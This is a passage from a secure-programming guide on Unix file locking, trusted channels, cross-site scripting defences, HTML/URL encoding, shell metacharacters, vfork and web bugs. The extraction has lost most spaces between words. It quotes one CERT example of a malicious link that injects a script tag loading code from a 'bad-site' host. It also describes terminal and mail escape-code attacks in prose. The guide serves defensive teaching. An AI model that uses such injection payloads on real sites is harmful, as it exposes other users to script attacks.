Anotherapproachto locking is to usePOSIXrecordlocks,implementedthrough
fcntl(2) asa “discretionarylock”. Thesearediscretionary, thatis, usingthemrequires
thecooperationof theprogramsneedingthelocks(justastheapproachto usingfiles to
representlocksdoes).There’s a lot to recommendPOSIXrecordlocks:POSIXrecord
locking is supportedon nearlyall Unix-likeplatforms(it’ smandatedby POSIX.1),it
canlock portionsof afile (not just awholefile), andit canhandlethedifference
betweenreadlocksandwrite locks.Evenmoreusefully, if aprocessdies,its locksare
automaticallyremoved,which is usuallywhatis desired.

You canalsousemandatorylocks,which arebasedonSystemV’smandatorylocking
scheme.Theseonly applyto fileswherethelockedfile’s setgidbit is set,but thegroup
executebit is not set.Also, youmustmountthefilesystemto permitmandatoryfile
locks.In this case,every read(2)andwrite(2) is checkedfor locking; while this is more
thoroughthanadvisorylocks,it’ salsoslower. Also, mandatorylocksdon’t portas
widely to otherUnix-likesystems(they’reavailableon Linux andSystemV-based
systems,but notnecessarilyonothers).Notethatprocesseswith root privilegescanbe
heldupby amandatorylock, too,makingit possiblethatthis couldbethebasisof a
denial-of-serviceattack.
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6.8. Trust Only Trustw or thy Channels
In general,do not trustresultsfrom untrustworthychannels.

In mostcomputernetworks(andcertainlyfor theInternetat large),no unauthenticated
transmissionis trustworthy. For example,on theInternetarbitrarypacketscanbe
forged,includingheadervalues,sodon’t usetheir valuesasyourprimarycriteriafor
securitydecisionsunlessyoucanauthenticatethem.In somecasesyoucanassertthata
packet claimingto comefrom the“inside” actuallydoes,sincethelocal firewall would
preventsuchspoofsfrom outside,but brokenfirewalls,alternativepaths,andmobile
codemakeeventhis assumptionsuspect.In asimilarvein,do notassumethatlow port
numbers(lessthan1024)aretrustworthy; in mostnetworkssuchrequestscanbeforged
or theplatformcanbemadeto permituseof low-numberedports.

If you’re implementingastandardandinherentlyinsecureprotocol(e.g.,ftp and
rlogin), providesafedefaultsanddocumentclearlytheassumptions.

TheDomainNameServer (DNS) is widely usedon theInternetto maintainmappings
betweenthenamesof computersandtheir IP (numeric)addresses.Thetechniquecalled
“reverseDNS” eliminatessomesimplespoofingattacks,andis usefulfor determininga
host’sname.However, this techniqueis not trustworthy for authenticationdecisions.
Theproblemis that,in theend,a DNSrequestwill besenteventuallyto someremote
systemthatmaybecontrolledby anattacker. Therefore,treatDNSresultsasaninput
thatneedsvalidationanddon’t trust it for seriousaccesscontrol.

If askingfor apassword, try to setup trustedpath(e.g.,requirepressinganunforgeable
key beforelogin, or displayunforgeablepatternsuchasflashingLEDs).Otherwise,an
“evil” programcouldcreateadisplaythat“looks like” theexpecteddisplayfor a
password (e.g.,a log-in) andinterceptthatpassword.Unfortunately, stockLinux and
mostotherUnixesdon’t havea trustedpathevenfor its normallogin sequence,and
sincecurrentlynormaluserscanchangetheLEDs, theLEDscan’t currentlybeusedto
confirma trustedpath.Whenhandlingapasswordovera network, encryptit between
trustedendpoints.

Arbitrary email(includingthe“from” valueof addresses)canbeforgedaswell. Using
digital signaturesis amethodto thwartmany suchattacks.A moreeasilythwarted
approachis to requireemailingbackandforth with specialrandomly-createdvalues,
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but for low-valuetransactionssuchassigningontoa publicmailing list this is usually
acceptable.

If youneeda trustworthychanneloveranuntrustednetwork, you needsomesortof
cryptologicservice(at thevery least,acryptologicallysafehash);seeSection10.4for
moreinformationon cryptographicalgorithmsandprotocols.

Notethatin any client/servermodel,includingCGI, thattheservermustassumethat
theclient canmodify any value.For example,so-called“hiddenfields” andcookie
valuescanbechangedby theclient beforebeingreceivedby CGI programs.These
cannotbetrustedunlessspecialprecautionsaretaken.For example,thehiddenfields
couldbesignedin away theclient cannotforgeaslongastheserverchecksthe
signature.Thehiddenfieldscouldalsobeencryptedusingakey only thetrustedserver
coulddecrypt(this latterapproachis thebasicideabehindtheKerberosauthentication
system).InfoSeclabshasfurtherdiscussionabouthiddenfieldsandapplying
encryptionat http://www.infoseclabs.com/mschff/mschff.htm. In general,you’rebetter
off keepingdatayoucareaboutat theserverendin aclient/servermodel.In thesame
vein,don’t dependon HTTP_REFERERfor authenticationin aCGI program,because
this is sentby theuser’sbrowser(not thewebserver).

Theroutinesgetlogin(3)andttyname(3)returninformationthatcanbecontrolledby a
local user, sodon’t trustthemfor securitypurposes.

This issueappliesto datareferencingotherdata,too.For example,HTML or XML
allow you to includeby referenceotherfiles (e.g.,DTDs andstylesheets)thatmaybe
storedremotely. However, thoseexternalreferencescouldbemodifiedsothatuserssee
averydifferentdocumentthanintended;astylesheetcouldbemodifiedto “white out”
wordsatcritical locations,defaceits appearance,or insertnew text. ExternalDTDs
couldbemodifiedto preventuseof thedocument(by addingdeclarationsthatbreak
validation)or insertdifferenttext into documents[St. Laurent2000].

6.9. Use Internal Consistenc y-Chec king
Code
Theprogramshouldcheckto ensurethatits call argumentsandbasicstateassumptions
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arevalid. In C, macrossuchasassert(3)maybehelpful in doingso.

6.10. Self-limit Resour ces
In network daemons,shedor limit excessive loads.Setlimit values(usingsetrlimit(2))
to limit theresourcesthatwill beused.At theleast,usesetrlimit(2)to disablecreation
of “core” files.For example,by default Linux will createacorefile thatsavesall
programmemoryif theprogramfailsabnormally, but suchafile might include
passwordsor othersensitivedata.

6.11. Prevent Cross-Site Malicious
Content
Somesecureprogramsacceptdatafrom oneuntrusteduser(theattacker)andpassthat
dataon to adifferentuser’sapplication(thevictim). If thesecureprogramdoesn’t
protectthevictim, thevictim’sapplication(e.g.,their webbrowser)maythenprocess
thatdatain awayharmfulto thevictim. This is aparticularlycommonproblemfor
webapplicationsusingHTML or XML, wheretheproblemgoesby severalnames
including“cross-sitescripting”, “maliciousHTML tags”,and“maliciouscontent.” This
bookwill call this problem“cross-sitemaliciouscontent,” sincetheproblemisn’t
limited to scriptsor HTML, andits cross-sitenatureis fundamental.Notethatthis
problemisn’t limited to webapplications,but sincethis is a particularproblemfor
them,therestof this discussionwill emphasizewebapplications.As will beshown in a
moment,sometimesanattackercancauseavictim to senddatafrom thevictim to the
secureprogram,sothesecureprogrammustprotectthevictim from himself.

6.11.1. Explanation of the Problem
Let’sbegin with asimpleexample.Somewebapplicationsaredesignedto permit
HTML tagsin datainput from usersthatwill laterbepostedto otherreaders(e.g.,in a
guestbookor “readercomment”area).If nothingis doneto preventit, thesetagscanbe
usedby malicioususersto attackotherusersby insertingscripts,Javareferences
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(includingreferencesto hostileapplets),DHTML tags,earlydocumentendings(via
</HTML>), absurdfont sizerequests,andsoon.Thiscapabilitycanbeexploitedfor a
wide rangeof effects,suchasexposingSSL-encryptedconnections,accessing
restrictedwebsitesvia theclient,violatingdomain-basedsecuritypolicies,makingthe
webpageunreadable,makingthewebpageunpleasantto use(e.g.,via annoying
bannersandoffensivematerial),permitprivacy intrusions(e.g.,by insertingawebbug
to learnexactlywhoreadsa certainpage),creatingdenial-of-serviceattacks(e.g.,by
creatingan“infinite” numberof windows),andevenverydestructiveattacks(by
insertingattackson securityvulnerabilitiessuchasscriptinglanguagesor buffer
overflows in browsers).By embeddingmaliciousFORM tagsat theright place,an
intrudermayevenbeableto trick usersinto revealingsensitive information(by
modifying thebehavior of anexisting form). This is by nomeansanexhaustive list of
problems,but hopefullythis is enoughto convinceyou thatthis is aseriousproblem.

Most “discussionboards”havealreadydiscoveredthis problem,andmostalreadytake
stepsto preventit in text intendedto bepartof amultipersondiscussion.Unfortunately,
many webapplicationdevelopersdon’t realizethatthis is a muchmoregeneral
problem.Everydatavaluethatis sentfrom oneuserto anothercanpotentiallybea
sourcefor cross-sitemaliciousposting,evenif it’ snotan“obvious” caseof anarea
wherearbitraryHTML is expected.Themaliciousdatacanevenbesuppliedby the
userhimself,sincetheusermayhavebeenfooledinto supplyingthedatavia another
site.Here’s anexample(from CERT) of anHTML link thatcausestheuserto send
maliciousdatato anothersite:

<A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
SRC=’http://bad-site/badfile’></SCRIPT>"> Click here</A>

In short,awebapplicationcannotacceptinput (includingany form data)without
checking,filtering, or encodingit. You can’t evenpassthatdatabackto thesameuser
in many casesin webapplications,sinceanotherusermayhavesurreptitiouslysupplied
thedata.Evenif permittingsuchmaterialwon’t hurt yoursystem,it will enableyour
systemto beaconduitof attacksto yourusers.Evenworse,thoseattackswill appearto
becomingfrom yoursystem.

CERT describestheproblemthis way in their advisory:
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A websitemayinadvertentlyincludemaliciousHTML tagsor scriptin adynamically
generatedpagebasedonunvalidatedinput from untrustworthysources(CERT Advisory
CA-2000-02,MaliciousHTML TagsEmbeddedin Client WebRequests
(http://www.cert.org/advisories/CA-2000-02.html)).

6.11.2. Solutions to Cross-Site Malicious Content
Fundamentally, this meansthatall webapplicationoutputimpactedby any usermust
befiltered(socharactersthatcancausethis problemareremoved),encoded(sothe
charactersthatcancausethis problemareencodedin away to preventtheproblem),or
validated(to ensurethatonly “safe” datagetsthrough).This includesall outputderived
from input suchasURL parameters,form data,cookies,databasequeries,CORBA
ORB results,anddatafrom usersstoredin files. In many cases,filtering andvalidation
shouldbedoneat theinput,but encodingcanbedoneduringeitherinput validationor
outputgeneration.If you’re just passingthedatathroughwithout analysis,it’ sprobably
betterto encodethedataon input (soit won’t beforgotten).However, if your program
processesthedata,it canbeeasierto encodeit onoutputinstead.CERT recommends
thatfiltering andencodingbedoneduringdataoutput;this isn’t abadidea,but there
aremany caseswhereit makessenseto do it at input instead.Thecritical issueis to
makesurethatyou coverall casesfor everyoutput,which is notaneasything to do
regardlessof approach.

Warning- in many casesthesetechniquescanbesubvertedunlessyou’vealsogained
controlover thecharacterencodingof theoutput.Otherwise,anattacker couldusean
“unexpected”characterencodingto subvert thetechniquesdiscussedhere.Thankfully,
this isn’t hard;gainingcontroloveroutputcharacterencodingis discussedin Section
8.5.

Thefirst subsectionbelow discusseshow to identify specialcharactersthatneedto be
filtered,encoded,or validated.This is followedby subsectionsdescribinghow to filter
or encodethesecharacters.There’s no subsectiondiscussinghow to validatedatain
general,however, for inputvalidationin generalseeChapter4, andif theinput is
straightHTML text or aURI, seeSection4.10.Also notethatyourwebapplicationcan
receivemaliciouscross-postings,sonon-queriesshouldforbid theGET protocol(see
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Section4.11).

6.11.2.1. Identifying Special Character s

Herearethespecialcharactersfor avarietyof circumstances(my thanksto theCERT,
who developedthis list):

• In thecontentof ablock-level element(e.g.,in themiddleof aparagraphof text in
HTML or ablock in XML):

• "<" is specialbecauseit introducesa tag.

• "&" is specialbecauseit introducesacharacterentity.

• ">" is specialbecausesomebrowserstreatit asspecial,on theassumptionthatthe
authorof thepagereallymeantto put in anopening"<", but omittedit in error.

• In attributevalues:

• In attributevaluesenclosedwith doublequotes,thedoublequotesarespecial
becausethey marktheendof theattributevalue.

• In attributevaluesenclosedwith singlequote,thesinglequotesarespecial
becausethey marktheendof theattributevalue.Notethatthesearen’t legal in
XML, soI would recommendnot usingthese.

• Attributevalueswithoutany quotesmake thewhite-spacecharacterssuchasspace
andtabspecial.Notethatthesearen’t legal in XML either, and they makemore
charactersspecial.Thus,I recommendagainstunquotedattributesif you’reusing
dynamicallygeneratedvaluesin them.

• "&" is specialwhenusedin conjunctionwith someattributesbecauseit introduces
acharacterentity.

• In URLs, for example,asearchenginemightprovidea link within theresultspage
thattheusercanclick to re-runthesearch.Thiscanbeimplementedby encodingthe
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searchqueryinsidetheURL. Whenthis is done,it introducesadditionalspecial
characters:

• Space,tab,andnew line arespecialbecausethey marktheendof theURL.

• "&" is specialbecauseit introducesacharacterentityor separatesCGI
parameters.

• Non-ASCIIcharacters(thatis, everythingabove128in theISO-8859-1encoding)
aren’t allowedin URLs,sothey areall specialhere.

• The"%" mustbefilteredfrom input anywhereparametersencodedwith HTTP
escapesequencesaredecodedby server-sidecode.Thepercentmustbefilteredif
inputsuchas"%68%65%6C%6C%6F"becomes"hello" whenit appearson the
webpagein question.

• Within thebodyof a<SCRIPT></SCRIPT>thesemicolon,parenthesis,curly
braces,andnew line shouldbefilteredin situationswheretext couldbeinserted
directly into apreexistingscripttag.

• Server-sidescriptsthatconvertany exclamationcharacters(!) in input to
double-quotecharacters(") on outputmight requireadditionalfiltering.

Notethat,in general,theampersand(&) is specialin HTML andXML.

6.11.2.2. Filtering

Oneapproachto handlingthesespecialcharactersis simply eliminatingthem(usually
duringinput or output).

If you’realreadyvalidatingyour input for valid characters(andyougenerallyshould),
this is easilydoneby simplyomitting thespecialcharactersfrom thelist of valid
characters.Here’s anexamplein Perlof a filter thatonly acceptslegalcharacters,and
sincethefilter doesn’t acceptany specialcharactersotherthanthespace,it’ squite
acceptablefor usein areassuchasaquotedattribute:

# Accept only legal characters:
$summary =~ tr/A-Za-z0-9\ \.\://dc;

121



Chapter6. StructureProgramInternalsandApproach

However, if you really wantto stripawayonly thesmallestnumberof characters,then
you couldcreateasubroutineto removejust thosecharacters:

sub remove_special_chars {
local($s) = @_;
$s =~ s/[\<\>\"\’\%\;\(\)\&\+]//g;
return $s;

}
# Sample use:
$data = &remove_special_chars($data);

6.11.2.3. Encoding

An alternative to removing thespecialchactersis to encodethemsothatthey don’t
haveany specialmeaning.Thishasseveraladvantagesoverfiltering thecharacters,in
particular, it preventsdataloss.If thedatais "mangled"by theprocessfrom theuser’s
point of view, at leastwith encodingit’ spossibleto reconstructthedatathatwas
originally sent.

HTML, XML, andSGML all usetheampersand("&") characterasaway to introduce
encodingsin therunningtext; thisencodingis oftencalled“HTML encoding.” To
encodethesecharacters,simply transformthespecialcharactersin your circumstance.
Usuallythis means’<’ becomes’&lt;’, ’>’ becomes’&gt;’, ’&’ becomes’&amp;’, and
’"’ becomes’&quot;’. As notedabove,althoughin theory’>’ doesn’t needto be
quoted,becausesomebrowsersacton it (andfill in a ’<’) it needsto bequoted.There’s
aminor complexity with thedouble-quotecharacter, because’&quot;’ only needsto be
usedinsideattributes,andsomeold browsersdon’t properlyrenderit. If you can
handletheadditionalcomplexity, youcantry to encode’"’ only whenyou needto, but
it’ seasierto simplyencodeit andaskusersto upgradetheirbrowsers.

Thisapproachto HTML encodingisn’t quiteenoughencodingin somecircumstances.
As discussedin Section8.5,you needto specifytheoutputcharacterencoding(the
“charset”).If someof your datais encodedusingadifferentcharacterencodingthan
theoutputcharacterencoding,thenyou’ll needto do somethingsoyour outputusesa
consistentandcorrectencoding.Also, you’veselectedanoutputencodingotherthan
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ISO-8859-1,thenyou needto makesurethatany alternativeencodingsfor special
characters(suchas"<") can’t slip throughto thebrowser. This is aproblemwith several
characterencodings,includingpopularoneslikeUTF-7 andUTF-8; seeSection4.8for
moreinformationon how to prevent“alternative” encodingsof characters.Oneway to
dealwith incompatiblecharacterencodingsis to first translatethecharactersinternally
to ISO10646(which hasthesamecharactervaluesasUnicode),andthenusingeither
numericcharacterreferencesor characterentity referencesto representthem:

• A numericcharacterreferencelookslike "&#D;", whereD is adecimalnumber, or
"&#xH;" or "&#XH;", whereH is ahexadecimalnumber. Thenumbergivenis the
ISO10646characterid (whichhasthesamecharactervaluesasUnicode).Thus
&#1048;is theCyrillic capitalletter"I". Thehexadecimalsystemisn’t supportedin
theSGML standard(ISO8879),soI’d suggestusingthedecimalsystemfor output.
Also, althoughSGML specificationpermitsthetrailing semicolonto beomittedin
somecircumstances,in practicemany systemsdon’t handleit - soalwaysincludethe
trailing semicolon.

• A characterentity referencedoesthesamethingbut usesmnemonicnamesinstead
of numbers.For example,"&lt;" representsthe< sign.If you’regeneratingHTML,
seetheHTML specification(http://www.w3.org) which listsall mnemonicnames.

Eithersystem(numericor characterentity)works;I suggestusingcharacterentity
referencesfor ’<’, ’>’, ’&’, and’"’ becauseit makesyourcode(andoutput)easierfor
humansto understand.Otherthanthat,it’ snot clearthatoneor theothersystemis
uniformly better. If youexpecthumansto edit theoutputby handlater, usethe
characterentity referenceswhereyoucan,otherwiseI’d usethedecimalnumeric
characterreferencesjust becausethey’reeasierto program.Thisencodingschemecan
bequiteinefficient for somelanguages(especiallyAsianlanguages);if thatis your
primarycontent,youmightchooseto useadifferentcharacterencoding(charset),filter
on thecritical characters(e.g.,"<") andensurethatno alternativeencodingsfor critical
charactersareallowed.

URIshave their own encodingscheme,commonlycalled“URL encoding.” In this
system,charactersnotpermittedin URLs arerepresentedusingapercentsignfollowed
by its two-digit hexadecimalvalue.To handleall of ISO10646(Unicode),it’ s
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recommendedto first translatethecodesto UTF-8,andthenencodeit. SeeSection
4.10.4for moreaboutvalidatingURIs.
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Chapter 7. Carefull y Call Out to
Other Resour ces

Do notput your trust in princes,
in mortalmen,whocannotsave.

Psalms146:3(NIV)

7.1. Call Only Safe Librar y Routines
Sometimesthereis a conflictbetweensecurityandthedevelopmentprinciplesof
abstraction(informationhiding) andreuse.Theproblemis thatsomehigh-level library
routinesmayor maynotbeimplementedsecurely, andtheir specificationswon’t tell
you.Evenif a particularimplementationis secure,it maynotbepossibleto ensurethat
otherversionsof theroutinewill besafe,or thatthesameinterfacewill besafeonother
platforms.For example,I’venot beenableto assuremyselfthattmpfile(3)is secureon
all platforms(seeSection6.7.1.2);its specificationsaren’t sufficiently clearto giveme
confidenceof this.

In theend,if your applicationmustbesecure,you mustsometimesre-implementyour
own versionsof library routines.Basically, youhave to re-implementroutinesif you
can’t besurethatthelibrary routineswill performthenecessaryactionsyou requirefor
security. Yes,in somecasesthelibrary’s implementationshouldbefixed,but it’ s your
userswhowill behurt if youchoosea library routinethatis asecurityweakness.If can,
try to usethehigh-level interfaceswhenyou mustre-implementsomething- thatway,
youcanswitchto thehigh-level interfaceonsystemswhereits useis secure.If youcan,
testto seeif theroutineis secureor not,anduseit if it’ s secure- ideally you can
performthis testaspartof compilationor installation(e.g.,aspartof an“autoconf”
script).Sometimesthis kind of run-timetestingis impractical(e.g.,testingfor race
conditions).
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7.2. Limit Call-outs to Valid Values
Ensurethatany call out to anotherprogramonly permitsvalid andexpectedvaluesfor
everyparameter. This is moredifficult thanit sounds,becausemany library callsor
commandscall lower-level routinesin potentiallysurprisingways.For example,
severalsystemcalls,suchaspopen(3)andsystem(3),areimplementedby calling the
commandshell,meaningthatthey will beaffectedby shellmetacharacters.Similarly,
execlp(3)andexecvp(3)maycausetheshellto becalled.Many guidelinessuggest
avoiding popen(3),system(3),execlp(3),andexecvp(3)entirelyanduseexecve(3)
directly in C whentrying to spawn aprocess[Galvin 1998b].At theleast,avoid using
system(3)whenyoucanusetheexecve(3);sincesystem(3)usestheshellto expand
characters,thereis moreopportunityfor mischiefin system(3).In asimilar mannerthe
Perlandshellbacktick(‘) alsocall acommandshell;for moreinformationon Perlsee
Section9.2.

Oneof thenastiestexamplesof this problemareshellmetacharacters.Thestandard
Unix-likecommandshell(storedin /bin/sh)interpretsa numberof charactersspecially.
If thesecharactersaresentto theshell,thentheir specialinterpretationwill beused
unlessescaped;this factcanbeusedto breakprograms.Accordingto theWWW
SecurityFAQ [Stein1999,Q37], thesemetacharactersare:

& ; ‘ ’ \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

Unfortunately, in reallife this isn’t acompletelist. Herearesomeothercharactersthat
canbeproblematic:

• ’!’ means“not” in anexpression(asit doesin C); if thereturnvalueof aprogramis
tested,prepending! couldfool ascriptinto thinkingsomethinghadfailedwhenit
succeededor viceversa.In someshells,the"!" alsoaccessesthecommandhistory,
whichcancauserealproblems.In bash,this only occursfor interactivemode,but
tcsh(a cshclonefoundin someLinux distributions)uses"!" evenin scripts.In csh,
bash,andsomeothershells,if you canfool themi Also new bashseemsto use’!’
for accessingcommandhistory- but this probablyonly in interactivemode.

• ’#’ is thecommentcharacter;all furthertext on theline is ignored.

126



Chapter7. Carefully Call Out to OtherResources

• ’-’ canbemisinterpretedasleadinganoption(or, as- -, disablingall further
options).Evenif it’ s in the“middle” of afilename,if it’ spreceededby whattheshell
considersaswhitespaceyoumayhaveaproblem.

• ’ ’ (space)andotherwhitespacecharactersmayturna “single” filenameinto
multiplearguments.

• Othercontrolcharacters(in particular, NIL) maycauseproblemsfor someshell
implementations.

• Dependingonyour usage,it’ sevenconceivablethat“.” (the“run in currentshell”)
and“=” (for settingvariables)mightbeworrisomecharacters.However, any example
I’ve foundsofarwheretheseareissueshaveother(muchworse)securityproblems.

Forgettingoneof thesecharacterscanbedisastrous,for example,many programsomit
backslashasametacharacter[rfp 1999].As discussedin theChapter4, a recommended
approachby someis to immediatelyescapeat leastall of thesecharacterswhenthey
areinput.But again,by farandaway thebestapproachis to identify whichcharacters
you wish to permit,anduseafilter to only permitthosecharacters.

A numberof programs,especiallythosedesignedfor humaninteraction,have “escape”
codesthatperform“extra” activities.Oneof themorecommon(anddangerous)escape
codesis onethatbringsup acommandline. Makesurethatthese“escape”commands
can’t beincluded(unlessyou’resurethatthespecificcommandis safe).For example,
many line-orientedmail programs(suchasmail or mailx) usetilde (~) asanescape
character, which canthenbeusedto sendanumberof commands.As a result,
apparantly-innocentcommandssuchas“mail admin< file-from-user”canbeusedto
executearbitraryprograms.Interactiveprogramssuchasvi, emacs,andedhave
“escape”mechanismsthatallow usersto runarbitraryshellcommandsfrom their
session.Alwaysexaminethedocumentationof programsyoucall to searchfor escape
mechanisms.It’ s bestif you call only programsintendedfor useby otherprograms;see
Section7.3.

Theissueof avoiding escapecodesevengoesdown to low-level hardwarecomponents
andemulatorsof them.Most modemsimplementtheso-called“Hayes” commandset,
in which thesequence“+++”, adelay, andthen“+++” againforcesthemodemto
switchmodes(andinterpretfollowing text ascommandsto it). Thiscanbeusedto
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implementdenial-of-serviceattacksor evenforcingauserto connectto someoneelse.

Many “terminal” interfacesimplementtheescapecodesof ancient,long-gonephysical
terminalslike theVT100.Thesecodescanbeuseful,for example,for bolding
characters,changingfont color, or moving to aparticularlocationin a terminal
interface.However, do notallow arbitraryuntrusteddatato besentdirectly to a
terminalscreen,becausesomeof thosecodescancauseseriousproblems.On some
systemsyoucanremapkeys (e.g.,sowhenauserpresses"Enter"or a functionkey it
sendsthecommandyouwantthemto run).On someyou canevensendcodesto clear
thescreen,displayasetof commandsyou’d like thevictim to run,andthensendthat
set“back”, forcing thevictim to run thecommandsof theattacker’s choosingwithout
evenwaiting for akeystroke.This is typically implementedusing“page-mode
buffering”. Thissecurityproblemis why emulatedtty’s (representedasdevicefiles,
usuallyin /dev/) shouldonly bewriteableby their ownersandneveranyoneelse- they
shouldneverhave“otherwrite” permissionset,andunlessonly theuseris amemberof
thegroup(i.e., the“user-privategroup”scheme),the“groupwrite” permissionshould
notbeseteitherfor theterminal[Filipski 1986].If you’redisplayingdatato theuserat
a (simulated)terminal,youprobablyneedto filter outall controlcharacters(characters
with valueslessthan32) from datasentbackto theuserunlessthey’re identifiedby
you assafe.Worsecomesto worse,you canidentify tabandnewline (andmaybe
carriagereturn)assafe,removing all therest.Characterswith their highbits set(i.e.,
valuesgreaterthan127)arein somewaystrickier to handle;someold systems
implementthemasif they weren’t set,but simplyfiltering theminhibits much
internationaluse.In this case,you needto look at thespecificsof yoursituation.

A relatedproblemis thattheNIL character(character0) canhavesurprisingeffects.
Most C andC++ functionsassumethatthis charactermarkstheendof astring,but
string-handlingroutinesin otherlanguages(suchasPerlandAda95)canhandlestrings
containingNIL. Sincemany librariesandkernelcallsusetheC convention,theresultis
thatwhatis checkedis notwhatis actuallyused[rfp 1999].

Whencallinganotherprogramor referringto afile alwaysspecifyits full path(e.g,
/usr/bin/sort). For programcalls,this will eliminatepossibleerrorsin calling the
“wrong” command,evenif thePATH valueis incorrectlyset.For otherfile referents,
this reducesproblemsfrom “bad” startingdirectories.
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7.3. Call Only Interfaces Intended for
Programmer s
Call only applicationprogramminginterfaces(APIs) thatareintendedfor useby
programs.Usuallyaprogramcaninvokeany otherprogram,includingthosethatare
really designedfor humaninteraction.However, it’ susuallyunwiseto invokea
programintendedfor humaninteractionin thesamewaya humanwould.Theproblem
is thatprograms’shumaninterfacesareintentionallyrich in functionalityandareoften
difficult to completelycontrol.As discussedin Section7.2,interactiveprogramsoften
have “escape”codes,which mightenableanattacker to performundesirablefunctions.
Also, interactiveprogramsoftentry to intuit the“most likely” defaults;thismaynotbe
thedefault you wereexpecting,andanattackermayfind away to exploit this.

Examplesof programsyou shouldn’t normallycall directly includemail, mailx, ed,vi,
andemacs.At thevery least,don’t call thesewithoutcheckingtheir input first.

Usuallythereareparametersto giveyousaferaccessto theprogram’s functionality, or
adifferentAPI or applicationthat’s intendedfor useby programs;usethoseinstead.
For example,insteadof invokinga text editorto edit sometext (suchased,vi, or
emacs),usesedwhereyoucan.

7.4. Check All System Call Returns
Everysystemcall thatcanreturnanerrorconditionmusthave thaterrorcondition
checked.Onereasonis thatnearlyall systemcallsrequirelimited systemresources,
anduserscanoftenaffect resourcesin avarietyof ways.Setuid/setgidprogramscan
have limits seton themthroughcallssuchassetrlimit(3)andnice(2).Externalusersof
serverprogramsandCGI scriptsmaybeableto causeresourceexhaustionsimplyby
makinga largenumberof simultaneousrequests.If theerrorcannotbehandled
gracefully, thenfail openasdiscussedearlier.
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7.5. Avoid Using vfork(2)
Theportableway to createnew processesin Unix-likesystemsis to usethefork(2)
call. BSD introducedavariantcalledvfork(2) asanoptimizationtechnique.In
vfork(2), unlike fork(2), thechild borrows theparent’s memoryandthreadof control
until acall to execve(2V)or anexit occurs;theparentprocessis suspendedwhile the
child is usingits resources.Therationaleis thatin old BSD systems,fork(2) would
actuallycausememoryto becopiedwhile vfork(2) wouldnot.Linux neverhadthis
problem;becauseLinux usedcopy-on-writesemanticsinternally, Linux only copies
pageswhenthey changed(actually, therearestill sometablesthathave to becopied;in
mostcircumstancestheir overheadis not significant).Nevertheless,sincesome
programsdependonvfork(2), recentlyLinux implementedtheBSD vfork(2) semantics
(previouslyvfork(2) hadbeenanaliasfor fork(2)).

Thereareanumberof problemswith vfork(2). Fromaportabilitypoint-of-view, the
problemwith vfork(2) is thatit’ sactuallyfairly tricky for aprocessto not interferewith
its parent,especiallyin high-level languages.The“not interfering” requirementapplies
to theactualmachinecodegenerated,andmany compilersgeneratehiddentemporaries
andothercodestructuresthatcauseunintendedinterference.Theresult:programsusing
vfork(2) caneasilyfail whenthecodechangesor evenwhencompilerversionschange.

For secureprogramsit getsworseon Linux systems,becauseLinux (at least2.2
versionsthrough2.2.17)is vulnerableto a raceconditionin vfork()’s implementation.
If aprivilegedprocessusesavfork(2)/execve(2)pair in Linux to executeuser
commands,there’sa raceconditionwhile thechild processis alreadyrunningasthe
targetuser‘sUID, but hasn‘tenteredexecve(2)yet.Theusermaybeableto send
signals,includingSIGSTOP, to thisprocess.Dueto thesemanticsof vfork(2), the
privilegedparentprocesswould thenbeblockedaswell. As a result,anunprivileged
processcouldcausetheprivilegedprocessto halt, resultingin adenial-of-serviceof the
privilegedprocess’service.FreeBSDandOpenBSD,at least,havecodeto specifically
dealwith this case,soto my knowledgethey arenotvulnerableto thisproblem.My
thanksto SolarDesigner, who notedanddocumentedthis problemin Linux on the
“security-audit”mailing list onOctober7, 2000.

Thebottomline with vfork(2) is simple:don’t usevfork(2) in your programs.This
shouldn’t bedifficult; theprimaryuseof vfork(2) is to supportold programsthat
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neededvfork’ssemantics.

7.6. Counter Web Bugs When Retrie ving
Embed ded Content
Somedataformatscanembedreferencesto contentthatis automaticallyretrieved
whenthedatais viewed(notwaiting for auserto selectit). If it’ spossibleto causethis
datato beretrievedthroughtheInternet(e.g.,throughtheWorld WideWide), then
thereis apotentialto usethiscapabilityto obtaininformationaboutreaderswithout the
readers’knowledge,andin somecasesto forcethereaderto performactivitieswithout
thereader’s consent.Thisprivacy concernis sometimescalleda “web bug.”

In awebbug,a referenceis intentionallyinsertedinto adocumentandusedby the
contentauthorto trackwhere(andhow often)adocumentis beingread.Theauthorcan
alsowatchhow a“bugged”documentis passedfrom onepersonto anotheror from one
organizationto another.

TheHTML formathashadthis issuefor sometime.Accordingto thePrivacy
Foundation(http://www.privacyfoundation.org):

Webbugsareusedextensively todayby InternetadvertisingcompaniesonWebpagesand
in HTML-basedemailmessagesfor tracking.They aretypically 1-by-1pixel in sizeto
make theminvisible on thescreento disguisethefactthatthey areusedfor tracking.

Whatis moreconcerningis thatotherdocumentformatsseemto havesuchacapability,
too.Whenviewing HTML from awebsitewith awebbrowser, thereareotherwaysof
gettinginformationon who is browsingthedata,but whenviewing adocumentin
anotherformatfrom anemailfew usersexpectthatthemereactof readingthe
documentcanbemonitored.However, for many formats,readingadocumentcanbe
monitored.For example,it hasbeenrecentlydeterminedthatMicrosoftWord can
supportwebbugs;seethePrivacy Foundationadvisoryfor moreinformation
(http://www.privacyfoundation.org/advisories/advWordBugs.html). As notedin their
advisory, recentversionsof Microsoft ExcelandMicrosoft PowerPointcanalsobe
bugged.In somecases,cookiescanbeusedto obtainevenmoreinformation.
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Webbugsareprimarily anissuewith thedesignof thefile format.If yourusersvalue
their privacy, you probablywill wantto limit theautomaticdownloadingof included
files.Oneexceptionmightbewhenthefile itself is beingdownloaded(say, via aweb
browser);downloadingotherfiles from thesamelocationat thesametime is muchless
likely to concernusers.

7.7. Hide Sensitive Information
Sensitive informationshouldbehiddenfrom pryingeyes,bothwhile beinginput and
output,andwhenstoredin thesystem.Sensitive informationcertainlyincludescredit
cardnumbers,accountbalances,andhomeaddresses,andin many applicationsalso
includesnames,emailaddressses,andotherprivateinformation.

Web-basedapplicationsshouldencryptall communicationwith auserthatincludes
sensitive information;theusualway is to usethe"https:"protocol(HTTP on topof
SSLor TLS). Accordingto theHTTP 1.1specification(IETF RFC2616section
15.1.3),authorsof serviceswhich usetheHTTP protocolshouldnot useGET based
formsfor thesubmissionof sensitivedata,becausethis will causethis datato be
encodedin theRequest-URI.Many existingservers,proxies,anduseragentswill log
therequestURI in someplacewhereit might bevisible to third parties.Instead,use
POST-basedsubmissions,whichareintendedfor thispurpose.

Databasesof suchsensitivedatashouldalsobeencryptedonany storagedevice (such
